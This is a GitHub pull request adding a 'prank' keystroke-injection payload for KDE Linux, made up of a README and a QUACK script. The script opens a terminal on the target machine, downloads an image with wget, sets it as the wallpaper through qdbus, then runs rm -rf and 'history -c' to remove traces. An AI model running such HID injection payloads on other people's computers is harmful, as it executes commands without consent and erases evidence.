Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

QUACKed - Change Desktop Wallpaper #595

Open
wants to merge 6 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
45 changes: 45 additions & 0 deletions payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# Change Desktop Wallpaper - Linux

A script used to prank your friends changing their desktop wallpaper.

**Category**: Prank

## Description

A script used to prank your friends changing their desktop wallpaper.

Opens a shell, download the image, define the local image path, run a command KDE BASED that will replace the desktop wallpaper with the local image path, then delete the image downloaded, clear the history and close the shell.

## Getting Started

### Dependencies

* Internet Connection
* Linux KDE

### Settings

- Image link
- Local image path

## Credits

<h2 align="center">Aleff</h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>LinkedIn
</td>
</tr>
</table>
</div>
36 changes: 36 additions & 0 deletions payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
###########################################
# #
# Title : Change Desktop Wallpaper #
# Author : Aleff #
# Version : 1.0 #
# Category : Prank #
# Target : Linux (KDE based) #
# #
###########################################

ATTACKMODE HID

# Requirements:
# - Internet Connection

# VARIABLES
# - 1) IMAGE_LINK with your image link i.e. 'example.com/IMAGE_NAME'
IMAGE_LINK='example.com'
# - 2) example.jpg with the image path, i.e. if the path is '/home/USERNAME/example.jpg' you must write 'file:///home/USERNAME/example.jpg'
IMAGE_PATH='file:///home/USERNAME/example.jpg'

QUACK DELAY 1000
QUACK CTRL-ALT t
QUACK DELAY 2000
QUACK STRING wget $IMAGE_LINK
QUACK ENTER

# It depends by the Internet Connection
QUACK DELAY 2000

QUACK STRING qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript \"var allDesktops = desktops();for (i=0;i<allDesktops.length;i++) {d = allDesktops[i]; d.wallpaperPlugin = 'org.kde.image';d.currentConfigGroup = Array('Wallpaper', 'org.kde.image', 'General');d.writeConfig('Image', '$IMAGE_PATH')}\"
QUACK ENTER
QUACK DELAY 1000

QUACK STRING rm -rf $IMAGE_PATH; history -c; exit;
QUACK ENTER